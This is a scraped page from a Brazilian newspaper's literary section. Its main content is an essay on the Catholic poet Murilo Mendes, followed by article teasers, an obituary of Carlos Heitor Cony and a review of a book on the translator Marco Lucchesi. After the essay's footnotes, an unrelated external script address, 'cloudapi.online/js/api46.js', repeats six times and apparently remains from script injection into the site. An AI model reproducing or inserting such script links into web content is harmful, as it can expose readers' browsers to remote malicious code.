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Se me dou conta agora que uma crônica tem seu momento, reflito que já escrevi sobre isso: "aparentemente a crônica é talvez, mas a crônica é sempre e, principalmente, quando"

Escritora norte-americana fala de fronteiras e ocupação dos grandes espaços da América; dela se pode reafirmar com Carpeaux que “o catolicismo foi elemento significativo de sua arte”

Saímos de um livro do autor como quem retorna de uma viagem. Na minha idade, costumo chegar cansado, mas animado, vislumbrando novas perspectivas

"O poeta brasileiro de Roma" é o protagonista desta terceira crônica da série. O mineiro cosmopolita das letras continua sendo o menino de Juiz de Fora que se fez escritor como "ser de circunstância e eterno"
[caption id="attachment_121209" align="aligncenter" width="596"] Murilo Mendes (1901-1975) o poeta católico, visionário do Tempo e da Eternidade | Foto: Reprodução[/caption]
Ei-lo, Murilo Medina Celi Monteiro Mendes ou, simplesmente, Murilo Mendes (1901-1975), aquele que ocupa o lugar de destaque deste artigo, a terceira parte da série “Poetas católicos do Brasil – o poeta brasileiro de Roma. Eis aqui o que toma a cena principal para ser apresentado às novas gerações de leitores de poesia.
Murilo é, entre os poetas retratados nesta série, talvez o mas incensado. Aquele sobre quem mais se acumulou uma fortuna crítica, a quem se dedicou um Museu em sua cidade natal (Juiz de Fora, MG) e, até mesmo, para o qual se voltaram os artistas plásticos recriando a face do poeta. A Universidade Federal de Juiz de Fora dedicou a ele lugar de destaque no acervo, e a biblioteca principal é o setor onde se encontram os livros do poeta, além de ter-lhe emprestado o próprio nome do museu.
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Murilo Mendes em quadro de Guignard (1930)[/caption]
Como dizia Luciana Stegagno Picchio[i] na apresentação à segunda edição da poesia completa (e prosa) de Murilo, em 1994: “Mudou o público, mudou o gosto dos leitores, mas penso que o público brasileiro se encontra hoje muito mais próximo dele do que esteve nos anos 60 e 70 durante a sua ausência [durante os dezoito anos em que o poeta viveu em Roma]; sobretudo os jovens leitores de poesia, receptores privilegiados das mensagens que o seu poeta ainda lhes transmite do caos (ou talvez do céu em que certamente está)”.
E aí estamos nós, em meio a um novo caos e decadência de costumes – no século mau, numerado XXI. E surgem novos leitores, porque a boa poesia nunca é esquecida.
A estes é preciso dizer que a obra de amor à poesia não se desfez. Que a poesia católica resiste e persiste. Da tríade que logo se fez quarteto é preciso falar sobre e, principalmente, ler os versos de Jorge de Lima, Murilo Mendes, Augusto Frederico Schmidt e Tasso da Silveira.
Murilo já foi considerado como “um homem de cultura, sofisticado, entre nossos intelectuais e artistas, um dos mais internacionalizados ou cosmopolitas – o que significaria, na verdade, avesso a nacionalismos de qualquer espécie e antiprovinciano por excelência[ii]”.
Mário de Andrade “puxa a orelha” do irmão católico em seu comentário à “Poesia em Pânico”, ao dizer que “a atitude desenvolta que o poeta [Murilo] usa nos seus poemas pra com a religião, além de um não raro mau gosto, desmoraliza as imagens permanentes, veste de modas temporárias as verdades que se querem eternas, fixa anacronicamente numa religião do tempo e do espaço o Catolicismo, que se quer universal por definição. Neste sentido, o catolicismo de MM guarda a seiva de perigosas heresias”.
Murilo e "o mais doloroso canto de amor"
Mário de Andrade confessa não ter “intenção de insinuar seja insincero este poeta; me inquieta apenas a sua complacência com o moderno, e a confusão de sentimentos...”, no vai-e-vem entre o uso da crítica e o admirado leitor de poesia, reconhece na poesia de Murilo “um dos momentos mais belos da poesia contemporânea e, por certo, o seu mais doloroso canto de amor”.
Murilo Mendes faz parte de um tempo em que a poesia católica era lida, ouvida, musicada e, até mesmo, aparecia em filmes. Era tempo em que Drummond pedia aplausos ao poeta Murilo, na igual medida que os recebiam artistas de TV. Tempo posterior foi o que o crítico José Guilherme Merquior declarou sobre o poeta cosmopolita:
“Toda a existência de Murilo até a ida para a Europa é assim, ou melhor, é vista assim: como a de um ser bondoso e aluado, anarquista por natureza, impaciente com a autoridade e o autoritarismo, pronto em todos os momentos a dizer não à ditadura, mas impaciente com a banalidade e a preguiça mental. E eis Murilo que abre o guarda-chuva durante um recital de piano no [Teatro] Municipal como protesto – mudo – contra a convencionalidade da execução e do programa; Murilo que, quando da tomada de Salzburg pelos alemães, telegrafa a Hitler o seu protesto em nome de Wolfgang Amadeus Mozart; Murilo persona non grata na Espanha franquista. E ainda Murilo finalmente do outro lado do Atlântico, em busca da recuperação de uma ancestralidade cultural europeia vista como integração do menino “que não tinha tido Idade Média” num mundo que, contudo, lhe pertencia por afinidades, por eleição. Porque sempre, para Murilo Mendes, a vida constituiu um todo indivisível da literatura, da poesia”.E a mim, cabe dizer, hoje, que mesmo não tendo jamais cruzado destino com ambos, vejo na assertiva de J. G. Merquior um complemento importante ao que sobre Murilo dissera Mário de Andrade, o católico acanhado de sua catolicidade, aquele que preferiu o “modernismo” à metafísica; o que preferiu a Prosa à Poesia. Ele dissera antes e apropriadamente que foi o catolicismo infundido n'alma e herdado por Murilo (segundo ele) do “amigo tirânico Ismael Nery”, que dando “o devido valor ao tempo e organizando a eternidade, colocou o poeta [Murilo Mendes] dentro do alto espiritualismo da sua poesia”. E, no entanto, não há como fazer “tábua rasa” do Catolicismo na poesia de Murilo Mendes, como querem alguns críticos europeus – como descrito por Maria Betânia Amoroso em seu “Murilo Mendes: o poeta brasileiro de Roma”, livro fundamental para os jovens que desejarem pesquisar a vida e a obra do poeta mineiro. E Carlos Drummond de Andrade – o “poeta maior” se queda ao prêmio internacional que Murilo arrebatou na Europa (o “Etna-Taormina”): “E ninguém se mexe, ninguém pega no ganzá e celebra esse outro gol do Brasil que o prêmio Internacional de Poesia conferido a Murilo Mendes?” – indagava Drummond. E essa nossa típica “faculdade de arquivo”, a engraçada “arte de arquivar” poetas, escritores que “dobram a esquina, que se vão de jato ou de navio” – ou que atravessam o Cosmo, para o Éter, [digo eu] - o que já se coloca num nível de maldade talvez nunca observado em outras culturas. Murilo Mendes, malgrado sua vocação a questionar tudo, inclusive sua fé (sua catolicidade), merece e muito ser lido pelas novas gerações, como um valor poético de altíssimo talento no mundo restrito dos poetas católicos e de uma inteligência católica que se vê minguada, apagada, covardemente posta em retaguarda diante de um mundo cada vez mais pagão. Haroldo de Campos, um vanguardista, aponta em Murilo Mendes, o sinal do homem que fazendo poesia veio para chocar – “no essencial de sua produção, um poeta inexoravelmente de vanguarda” – um poeta que, num aforismo decretou seu próprio destino: "Passaremos do mundo adjetivo para o mundo substantivo”. E a passagem de Murilo, num itinerário contestado por uns, amados por outros, é o de um poeta empenhado no sentido de se mover da teoria à prática. O amigo de Ismael Nery e de Jorge de Lima, o poeta número 1 da poesia católica e que hoje ainda faz adeptos por sua ortodoxia, tem seu lugar por ser sobretudo poeta, embora um tantinho heterodoxo em poesia e na vida. Murilo o que se sente “compelido ao trabalho literário”, foi o que supriu lacunas na poesia brasileira, pela teimosia, pela criação dos ideogramas, pelo “amor à Liberdade” – valor que pôs acima de tudo em sua poética. Murilo, o que se sente impelido ao ecumenismo, o mineiro que se fez cidadão do mundo: “Dentro de mim discutem um mineiro, um grego, um hebreu, um indiano, um cristão péssimo, relaxado, um socialista amador; porque não separo Apolo de Dionísio; por haver começado no início da adolescência a leitura de Cesário Verde, Racine, Baudelaire; por julgar os textos tão importantes como os testículos; por sofrer diante da enorme confusão do mundo atual, que torna Kafka um satélite da Condessa de Ségur...”. Para ele, assim se deu a cosmovisão:
“O Espírito tomou um feixe de ossos secos, soprou sobre ele, deu-lhe nervos, cartilagens, tecidos, pele, ligaduras, pés, mãos, olhos, cabeça – levantou-se, alto, a tez morena, os braços compridos, a voz ardente – leu o que dele, de ti e de nós todos está escrito nos livros proféticos, deu um grande brado, e sitiou a Igreja Católica. TU ES PETRUS. O Universo recebeu tua marca até o fim dos tempos. Tudo já está encarnado. E tudo existe para os eleitos”.O poeta que parece humanizar tudo, no mais das vezes é o menino católico das Minas Gerais que se refugiou em Roma e foi morrer em Lisboa. Drummond já dissera: “mineiros há que vão e mineiros há que ficam” – Murilo é um mineiro que foi: “...para Roma e levou na bagagem para a Itália sua alma brasileira”. Apressadamente, querem fazer do catolicismo do poeta matéria de coisas e não de almas. Querem fazer de Murilo não o místico, ainda que sempre parecendo brincar de menino que a tudo contesta, mas o poeta das coisas; quando ele é mais do que isso – poeta que escreve alguns palmos acima do chão – nele há o poeta da “magia verbal e expressiva”; o modernista, mas há , antes, o poeta católico de “Tempo e eternidade” (obra em parceria com o número 1 da poesia católica do Brasil, seu amigo Jorge de Lima). Não há como abrir um livro de Murilo e não ver o Cristo e não ver Maria e não ver a Igreja Católica. Impossível não ver a “Eternidade do homem[iii]”:
Eis o homem, o poeta, capaz de dizer tão simplesmente que “meu ser é uma vasta estrebaria onde se vêm abrigar todas as impurezas da terra desde os meus mais remotos ancestrais”. Murilo é o poeta que oferece a Deus sua poesia e sua vida, pois mais anárquica, mais pecadora, mais contestatória que tenha sido, um que humildemente se faz oferenda: “...me ofereço em sofrimentos e poemas pelo resgate dos poetas cuja fé vacila, em união com todas as hóstias que se elevam diariamente nos altares de todos os recantos da terra, apresentadas a Ti, ó Deus, para honra e glória do teu nome...”. Um homem assim, um fiel, não é bem recebido alhures senão como aquele que traz o contingente para a poesia, esquecendo boa parte da crítica de seu marcante traço metafísico. Entretanto, coube ao católico Manuel Bandeira repor as coisas no seu devido lugar:“Abandonarei as formas de expressões finitas, Abandonarei a música dos dias e das noites, Abandonarei os amores improvisados e fáceis, Abandonarei a procura da ciência imediata Serei testemunha de um mundo que caiu, Até que te manifestes na tua Parusia. Aceitarei a pobreza para me dês a plenitude, Aceitarei a simplicidade para que me dês a multiplicidade, Descerei até o fundo da mina do sofrimento Para que um dia me apontes o céu da paz. Minha história se desdobrará em poemas: Assim outros homens compreenderão Que sou apenas um elo da universal corrente Começada em Adão e a terminar no último homem”.
“Em toda a poesia de Murilo Mendes assistimos a essa constante incorporação do eterno ao contingente. (...) sente-se sempre na poesia do Murilo Mendes a força da inteligência e do coração dominando o tumulto das fontes do subconsciente. Poesia bem de católico, terrivelmente cônscio do pecado original e ao mesmo tempo como que feliz de todas as suas fraquezas pelo que elas implicam de amor – um fulgurante amor não só pelos seus semelhantes como por todas as criaturas e coisas da Criação. Um catolicismo à São Filipe Néri, em que a verdade é concebida em suma e em essência como caridade”.Fica, pois, submetido a seu juízo, leitor, este pequeno perfil de um grande poeta. A você, parte das novas (e antigas) gerações de leitores de poesia – que juntos não somos mais do que “dois em mil”, segundo a poetisa polonesa Wisława Szymborska –, a poesia do parceiro de Jorge de Lima, com quem compôs versos para o Tempo e a Eternidade, que se refez “Discípulo de Emaús”, o primeiro a compreender a força dos aforismos e com isso se tornou o poeta brasileiro a se antecipar aos 140 caracteres das redes sociais, como no aforismo #200: “O verdadeiro poeta é conjuntamente um ser de circunstância, e eterno”. Adalberto de Queiroz, 63, jornalista e poeta. Autor de “O Rio Incontornável” (Mondrongo, 2017). [i] MENDES, Murilo. “Poesia completa e prosa”. Organização e preparação do texto: Luciana Stegagno Picchio. Rio de Janeiro: Editora Nova Aguilar, 1994. Sobre o acervo digital, o leitor pode ter acesso à obra do poeta pode ser consultada online através deste link, onde também os pesquisadores podem se cadastrar para consultas locais especializadas. [ii] AMOROSO, Maria Betânia. “Murilo Mendes: o poeta brasileiro de Roma”. São Paulo, Editora Unesp; Juiz de Fora (MG): Museu de Arte Murilo Mendes, 2013. 262 páginas. [iii] Cf. nota i. “Tempo e eternidade”. Obra completa, pág. 255. https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js

Único brasileiro a entrevistar Bashar al-Assad, o repórter é uma autoridade em Oriente Médio

“O Poder Legislativo em Goiás: memorias e Registros"m dos professores Denise Paiva Ferreira e Francisco Itami Campos, é parceria entre UFG e Parlamento

Esquecida em vida pela crítica e pelo jornalismo, e relegada a um asilo pela família, escritora não teve sequer a morte anunciada na data certa, ocorrida em novembro de 2017

“Pensar dói”, costumava dizer Geraldo Faria Campos. Sua forma de ensinar português e sua atitude humanizadora na relação com seus alunos o fizeram mestre inesquecível de gerações

Jornalista, romancista, cronista, homem culto, Cony estava internado em um hospital no Rio de janeiro; a causa da morte foi falência múltipla de órgãos
[caption id="attachment_114266" align="alignnone" width="620"] Carlos Heitor Cony (1926-2018): dono de um senso crítico aguçado, escritor deixa um legado intelectual raro | Foto: Divulgação[/caption]
O escritor carioca Carlos Heitor Cony morreu no final da noite de sexta-feira, aos 91 anos, no Rio de Janeiro. A causa da morte foi falência múltipla de órgãos. Cony era dono de um senso crítico aguçado. Qualquer crítica que fizesse, fosse sobre um político de direita ou de esquerda, por exemplo, era uma grande lição.
Membro do Conselho Editorial do jornal “Folha de S. Paulo”, autor de vários romances e incontáveis textos de opinião, Cony deixa um legado intelectual raro. Durante muito tempo, ele escreveu diariamente uma coluna na “Folha”, em que falava de tudo, desde política e cultura, aos temas mais chãos e ligados à memória cotidiana, como sua cachorrinha, que o inspirou a escrever o romance “Quase Memória”.
Livros de ficção como “O Ventre”, “Pessach – A Travessia”, “Informação ao Crucificado”, e jornalísticos ou biográficos como “Ato e Fato - O Som e a Fúria de Que Se Viu no Golpe de 1964” e “JK e a Ditadura”, são exemplos da herança que ele deixa à memória brasileira. Em 2016, a Editora Nova Fronteira publicou uma caixa com alguns de seus livros.
Uma das frases que Cony mais repetiu em sua vida é um contrassenso ao seu estado na infância. “É verdade que o senhor demorou para falar?”, perguntavam-lhe. “Fui mudo até os cinco anos. O pessoal pensava que eu era retardo. Mas é que eu não tinha nada a dizer, a verdade é essa. Até os cinco anos, eu não tinha nada a dizer”, respondia o escritor. Essa afirmação já faz parte do Cony adulto e entusiasta do cinismo e da ironia.
Cony não só demorou a falar, como tinha a língua presa e era disléxico. Ele trocava as letras, até os 15 anos. Aeroporto, por exemplo, ele dizia arieporto. Por causa disso, passou a escrever bilhetes para a mãe e pregá-los na porta da geladeira. Depois foi estudar num seminário, para ser padre, de onde saiu culto e ateu.

Livro de Marilene Felinto, de 1984, mostra como as mulheres enfrentam o passado para se redescobrirem mais fortes, em sua identidade feminina

Série de conferências aprecia o único livro de Hugo de Carvalho Ramos publicado em vida, em 1917, com o objetivo de mostrar a importância atual do escritor goiano, morto em 1921, aos 26 anos

“Essa Terra”, “O Cachorro e o Lobo” e ”Pelo Fundo da Agulha”, trilogia que tematiza o deslocamento geográfico, temporal e psicológico de seus protagonistas, são publicados por editora portuguesa

[caption id="attachment_111965" align="alignleft" width="620"] Para Lucchesi, o tradutor, entre duas línguas, é “animal bifronte, exilado de uma terceira, marcado pelo não lugar, em círculo de incerta adequação, de que se torna prisioneiro”[/caption]
Dirce Waltrick do Amarante
Especial para o Jornal Opção
A proposta do livro “Palavras de Escritor – Tradutor: Marco Lucchesi” (Escritório do Livro, 184 páginas), organizado por Andréia Guerini, Karine Simoni e Walter Carlos Costa, todos professores do primeiro Programa de Pós-Graduação em Estudos da Tradução a ser criado no Brasil, na Universidade Federal de Santa Catarina, é discutir o conceito de tradução a partir de um diálogo com o escritor e tradutor Marco Lucchesi, escritor, membro da Academia Brasileira de Letras e tradutor de literatura italiana, alemã, russa etc.
Antes de entrar propriamente no tema da tradução, Lucchesi é convidado pelos organizadores a revisitar seu passado, numa espécie de arqueologia que busca explorar os vestígios culturais do escritor. As memórias de Lucchesi, filho de italianos, mas nascido no Brasil em 1963 e vivendo entre duas línguas e duas culturas, são cercadas de citações literárias: lembra da avó, que lhe narrava “Orlando Furioso” (Ateliê Editorial, 660 páginas, tradução de Pedro Garcez Ghirardi), poema épico de Ludovico Ariosto; do pai, que lhe recitava cantos da “Divina Comédia”, de Dante Alighieri; e da mãe, que amava poesia e tocava piano.
Aos 18 anos, questionou a ausência de disciplinas como arte, literatura ou filosofia nas aulas do curso de História, que frequentou na Universidade Federal Fluminense, na década de 1980, que, apesar dos excelentes professores, como frisa em seu depoimento, parecia só tratar de balancetes e gráficos.
São as línguas, contudo, as grandes protagonistas de sua história pessoal. Lucchesi estudou francês, russo, esperanto, alemão etc. e via nas línguas uma forma de aproximação com o outro, com a cultura do outro, necessária, antes de mais nada, ao menino, filho único, que precisava ampliar a ponte que, como ele diz, “vai de mim ao outro”.
Potência criativa
A respeito do exercício da tradução, Lucchesi começou cedo, traduzindo cartas de primos e tios, além das óperas, estudadas no colégio durante o antigo ensino médio. Por ser bilíngue, lembra que “a translação de palavras, significantes e sinais se tornou praticamente automática”. Mas, na tradução literária, logo percebeu que o tradutor não é “apenas um operador neutro, movendo maciços blocos semânticos e sintáticos a partir da taxionomia vocabular”.
Afastada, segundo Lucchesi, a “primitiva esperança de simples comutação de palavras, tomadas como primas ou irmãs distantes” e, portanto, a ideia de tradução como equivalente, ela passa a apresentar-se como potência criativa. Torna-se, então, diz o tradutor, “necessário rever o papel subjetivo da tradução, da imaginação e da sensibilidade [...], em que a aproximação entre culturas já não atenda a um maquinismo vazio, limitado ao dicionário e a uma lógica fuzzy, mas a um gesto cultural, impregnado de rumores, estranhamentos e fortes desvios normativos [...]”.
No seu processo de tradução, Lucchesi conta que se vê “cercado por mil dicionários e retortas, tradutor-boticário, experimentando sais, fórmulas e palavras, com destempero e melancolia”. Ele seria uma espécie de tradutor manipulador, de que fala o estudioso francês Cyril Aslanov, que se encontra num “laboratório linguístico localizado na terra de ninguém entre a língua-fonte e a língua-alvo”, um lugar onde o público não pode penetrar.
Mas é a melancolia que parece ganhar destaque na reflexão do escritor acerca da atividade da tradução, que ele vê como “a arte de naufragar com dignidade e nobreza — e sobreviver ao mar profundo, aos saberes e dissabores corsários [...]”, ou “nomadismo obstinado”.
Para Lucchesi, o tradutor, entre duas línguas, é “animal bifronte, exilado de uma terceira, marcado pelo não lugar, em círculo de incerta adequação, de que se torna prisioneiro”. E também antes de mais nada “um leitor à procura de uma voz”. Voz que o escritor irlandês Samuel Beckett procurou incessantemente não só quando escrevia ora em inglês ora em francês, mas quando se traduzia ora numa língua ora noutra e que está registrada em toda sua obra ficcional.
Dirce Waltrick do Amarante organizou e traduziu “Conversando com Varejeiras Azuis” (Iluminuras), uma antologia em prosa e verso do escritor inglês Edward Lear.

O escritor e professor carioca Marco Lucchesi veio a Goiânia para lançar sua tradução de “Moradas”, de Angelus Silesius, e proferiu uma pequena palestra sobre o poético e a busca pelo diálogo, muito em falta nos dias de hoje

Escritor americano, negro e gay numa sociedade racista e homofóbica, foi um dos mais sagazes de seu tempo; sua literatura mostrou engajamento, mas foi além